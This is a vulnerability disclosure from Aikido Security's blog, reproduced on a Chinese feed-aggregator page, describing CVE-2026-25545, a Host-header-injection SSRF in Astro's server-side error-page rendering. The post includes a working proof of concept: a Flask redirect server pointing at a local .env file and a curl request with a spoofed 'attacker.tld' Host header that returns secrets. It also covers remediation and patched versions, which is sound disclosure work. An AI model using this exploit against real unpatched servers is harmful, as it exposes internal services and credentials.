惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

L
LangChain Blog
博客园 - 司徒正美
美团技术团队
WordPress大学
WordPress大学
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
人人都是产品经理
人人都是产品经理
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
Troy Hunt's Blog
S
Schneier on Security
T
The Exploit Database - CXSecurity.com
P
Proofpoint News Feed
云风的 BLOG
云风的 BLOG
Engineering at Meta
Engineering at Meta
Cisco Talos Blog
Cisco Talos Blog
T
Tor Project blog
B
Blog
NISL@THU
NISL@THU
月光博客
月光博客
博客园 - 【当耐特】
AWS News Blog
AWS News Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
腾讯CDC
L
Lohrmann on Cybersecurity
The Cloudflare Blog
L
LINUX DO - 最新话题
S
Security @ Cisco Blogs
S
Secure Thoughts
Spread Privacy
Spread Privacy
有赞技术团队
有赞技术团队
The Last Watchdog
The Last Watchdog
Project Zero
Project Zero
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Vercel News
Vercel News
H
Hacker News: Front Page
S
SegmentFault 最新的问题
Schneier on Security
Schneier on Security
aimingoo的专栏
aimingoo的专栏
P
Privacy & Cybersecurity Law Blog
博客园 - 三生石上(FineUI控件)
Forbes - Security
Forbes - Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
I
InfoQ
T
Tailwind CSS Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
G
GRAHAM CLULEY
W
WeLiveSecurity
小众软件
小众软件
Recorded Future
Recorded Future
Cyberwarzone
Cyberwarzone
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org

Aikido Security's Blog

Axios CVE-2026-40175: a critical bug that’s… not exploitable GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives Aikido recognized as Platform Leader in Latio Tech's 2026 Application Security Report From detection to prevention: How Zen stops IDOR vulnerabilities at runtime npm backdoor lets hackers hijack gambling outcomes Introducing Upgrade Impact Analysis: When breaking changes actually matter to your code Why Trying to Secure OpenClaw is Ridiculous Claude Opus 4.6 found 500 vulnerabilities. What does this change for software security? Introducing Aikido Expansion Packs: Safer defaults inside the IDE International AI Safety Report 2026: What It Means for Autonomous AI Systems Self-Securing Software: What It Is, Why It Matters, and How It Works npx Confusion: Packages That Forgot to Claim Their Own Name What Is Continuous Pentesting? Introducing Aikido Package Health: a Better Way to Trust Your Dependencies AI Pentesting: Minimum Safety Requirements for Security Testing Secure SDLC for Engineering Teams (+ Checklist) Fake Clawdbot VS Code Extension Installs ScreenConnect RAT G_Wagon: npm Package Deploys Python Stealer Targeting 100+ Crypto Wallets Gone Phishin': npm Packages Serving Custom Credential Harvesting Pages Malicious PyPI Packages spellcheckpy and spellcheckerpy Deliver Python RAT Top 10 AI Security Tools For 2026 Agent Skills Are Spreading Hallucinated npx Commands Understanding Open-Source License Risk in Modern Software The CISO Vibe Coding Checklist for Security Top 6 Graphite alternatives for AI code review in 2026 From “No Bullsh*t Security” to $1B: We Just Raised Our $60m Series B Critical n8n Vulnerability Allows Unauthenticated Remote Code Execution (CVE-2026-21858) Top 14 VS Code Extensions for 2026 AI-Driven Pentesting of Coolify: Seven CVEs Identified Top Continuous Pentesting Tools in 2026 SAST vs SCA: Securing the Code You Write and the Code You Depend On JavaScript, MSBuild, and the Blockchain: Anatomy of the NeoShadow npm Supply-Chain Attack How Engineering and Security Teams Can Meet DORA’s Technical Requirements IDOR Vulnerabilities Explained: Why They Persist in Modern Applications Shai Hulud strikes again - The golden path MongoBleed: MongoDB Zlib Vulnerability (CVE-2025-14847) and How to Fix It First Sophisticated Malware Discovered on Maven Central via Typosquatting Attack on Jackson The Fork Awakens: Why GitHub’s Invisible Networks Break Package Security Top 10 Cyber Security Tools For 2026 SAST in the IDE is now free: Moving SAST to where development actually happens AI Pentesting in Action: A TL;DV Recap of Our Live Demo The Top 7 Threat Intelligence Tools in 2026 React & Next.js DoS Vulnerability (CVE-2025-55184): What You Need to Fix After React2Shell OWASP Top 10 for Agentic Applications (2026): What Developers and Security Teams Need to Know DAST vs Pentesting v AI Pentesting: Why DAST Cannot Replace Modern Pentesting PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents Top 7 Cloud Security Vulnerabilities Critical React & Next.js RCE Vulnerability (CVE-2025-55182): What You Need to Fix Now How to Comply With the UK Cybersecurity & Resilience Bill: A Practical Guide for Modern Engineering Teams Shai Hulud 2.0: What the Unknown Wonderer Tells Us About the Attackers’ Endgame SCA Everywhere: Scan and Fix Open-Source Dependencies in Your IDE Safe Chain now enforces a minimum package age before install Shai Hulud Attacks Persist Through GitHub Actions Vulnerabilities Shai Hulud Launches Second Supply-Chain Attack: Zapier, ENS, AsyncAPI, PostHog, Postman Compromised CORS Security: Beyond Basic Configuration Revolut Selects Aikido Security to Power Developer-First Software Security The Future of Pentesting Is Autonomous How Aikido and Deloitte are bringing developer-first security to enterprise Secrets Detection: A Practical Guide to Finding and Preventing Leaked Credentials Invisible Unicode Malware Strikes OpenVSX, Again AI as a Power Tool: How Windsurf and Devin Are Changing Secure Coding Building Fast, Staying Secure: Supabase’s Approach to Secure-by-Default Development OWASP Top 10 2025: Official List, Changes, and What Developers Need to Know Top 10 JavaScript Security Vulnerabilities in Modern Web Apps The Return of the Invisible Threat: Hidden PUA Unicode Hits GitHub repositorties Top 7 Black Duck Alternatives in 2026 What Is IaC Security Scanning? Terraform, Kubernetes & Cloud Misconfigurations Explained AutoTriage and the Swiss Cheese Model of Security Noise Reduction Top Software Supply Chain Security Vulnerabilities Explained The Top 7 Kubernetes Security Tools Top 10 Web Application Security Vulnerabilities Every Team Should Know What Is CSPM (and CNAPP)? Cloud Security Posture Management Explained
Astro Full-Read SSRF via Host Header Injection
Jorian Woltjer · 2026-02-23 · via Aikido Security's Blog

Astro is a JavaScript frontend and backend framework in use by many large organizations for making website development much easier. Recently, one of the agents in our Aikido Attack product identified a medium-severity vulnerability in the server-side implementation of this framework. It made any servers directly accessible by the attacker vulnerable to Server-Side Request Forgery (SSRF).

Now known as CVE-2026-25545, we quickly notified the maintainers of Astro in order to get a fix within only a couple of days. Versions astro@5.17.2, @astrojs/node@9.5.3 as well as the beta astro@6.0.0-beta.11 are patched.

Summary

Server-Side Rendered (SSR) errors with a prerendered custom error page (e.g., 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, /500.html will be fetched from their server and can be redirected to any other internal URL. This redirect is followed, and the response is returned to the attacker.

Any services on localhost or the internal network protected by firewalls and NAT can become accessible this way, which may have devastating consequences depending on what's hosted.

Details

The AI pentesting agent found this issue while we were researching, so we'll explain its thought process as we walk through the details of this vulnerability.

Astro can render pages in two modes: "static" and "server". Simple websites may not need a server and can be exported as static HTML files, while others do require server-side logic. You can decide what's needed per page.

For the homepage, you could prerender an HTML file that will always stay the same and only changes when you build again. To render on demand instead, like for a view counter, Server-Side Rendering (SSR) is required.

Using SSR requires you set the output configuration option to 'server' in astro.config.mjs:

export default defineConfig({
  output: 'server'
})

An interesting example is the error pages in Astro. Any route can return errors like 404 Not Found or 500 Internal Server Error, which are displayed nicely with the default error pages.

As a developer, you can create a custom error page with 404.astro or 500.astro. For efficiency, these are prerendered as HTML files when possible. The interesting thing is that a server must now return a prerendered response.

This is implemented in a bit of a strange way: the server fetches /404.html or /500.html from itself and returns that result. You can read this in renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

The most important line is prerenderedErrorPageFetch(statusURL), which runs when a custom error route exists and the error page is prerendered (line 13). In NodeJS, this is simply an alias for fetch() if options.experimentalErrorPageHost is not set.
statusURL is built from request.url (line 4). This property comes from req.headers.host, also known as the Host: header in HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

The Host: header is always user-controlled since it's just an arbitrary string the client sends. As you can see in the above logic, Astro uses req.headers.host to construct request.url, which then becomes the base URL for an internal fetch() call. Astro trusts the input to point to the server itself, without actually validating it. This is Host header injection, and it's what makes SSRF possible here.

GET /not-found HTTP/1.1
Host: attacker.tld

We came here for Server-Side Request Forgery, but we're not far off at this point. The request above triggers a 404 error, and if a custom 404 page is configured, our attacker.tld host header will be used to send a request to http://attacker.tld/404.html .
This already allows us to fetch this specific URL on any internal host:

GET /404.html HTTP/1.1
host: attacker.tld
connection: keep-alive
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate

There likely isn't much sensitive content on /404.html of an arbitrary host. Luckily for us, fetch() automatically follows redirects. A fact we can make use of because we are already able to make the Astro server request our attacker's website. All we have to do is redirect from http://attacker.tld/404.html to some sensitive URL like http://127.0.0.1:8000/.env!

We'll set up a basic server to handle this:

from flask import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def exploit():
    return redirect("http://127.0.0.1:8000/.env")

if __name__ == "__main__":
    app.run()

Then we send our malicious request again:

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plain
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET=...

Success! The 404 page was fetched from the attacker, redirected to 127.0.0.1:8000, and its response (headers & body) was returned. With this, an attacker could map out the whole internal network, interacting with the services to read potentially sensitive information.

Requirements

For an attacker to exploit this vulnerability, there are some requirements:

  1. The server must be in Server-Side Rendering mode (otherwise it is just static HTML).
  2. The Host: header must be unsanitized. Some proxies validate this header, so it can be necessary to find the
  3. origin IP of the Astro server in order to directly connect with it.
  4. In the source code, the developer must have configured a custom 404.astro, 404.md, or 500.astro file. This is common for larger applications.

As shown, using a 404 error by visiting some unrouted path is the most likely exploitation path. But if a custom Internal Server Error page is configured, triggering any error with a spoofed Host: header can also trigger the vulnerability in the same way.

Remediation

After seeing the vulnerability reported by our AI agent, we quickly reported it to the Astro maintainers, who had a fix ready within just a couple of days.

The patched versions start from:

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

Their fix was to rethink the prerenderedErrorPageFetch() function, which was a wrapper to fetch(), before. Now /404 or /500 files are read directly from disk, and anything else is only fetched if options.experimentalErrorPageHost is explicitly set, telling it where to fetch from. The Host: header is now also validated, similar to how X-Forwarded-Host: already was, to prevent an attacker from messing with request.url in Astro.

This vulnerability comes down to trusting user input in the Host: header, which you should never do. Magic features like redirecting by default from

fetch() can also lead to unexpected consequences. It is good to be aware of what the functions you call exactly do by reading their documentation.

The exploit for this vulnerability ends up being quite simple and is easy to test. Simply requesting a non-existent page with a malformed Host: header. Such attacks may even be found without source code by playing with the application, which

Aikido’s AI pentest can do. However, it also has strong code analysis (whitebox) capabilities, as seen from this report.

Timeline

  • February 2, 2026: Aikido Security identified the vulnerability and built a working PoC
  • February 3, 2026: Responsible disclosure to Astro maintainers
  • February 3, 2026: Report confirmed by Astro maintainers and start working on a fix
  • February 4, 2026: CVE-2026-25545 is created by GitHub
  • February 11, 2026: Fix is released in new versions of Astro (astro@5.17.2, astro@6.0.0-beta.11, and @astrojs/node@9.5.3)